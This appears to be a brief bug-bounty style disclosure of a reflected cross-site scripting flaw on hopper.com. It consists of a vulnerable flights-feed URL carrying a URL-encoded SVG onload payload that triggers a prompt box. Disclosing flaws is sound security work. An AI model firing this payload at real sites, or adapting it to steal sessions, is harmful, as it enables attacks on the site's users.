hopper.com XSS vulnerability

Vulnerable URL: http://www.hopper.com/flights/feed?airline=BA=airport/ABZ,city/BFS,airport/EDI,airport/GLA,airport/INV,airport/LBA,city/LON,airport/MAN,airport/NCL=country/2FZZlink=trueby=%22%3E%3Csvg/onload=prompt%28/OpenBugBounty/%29%3E&h6v;=...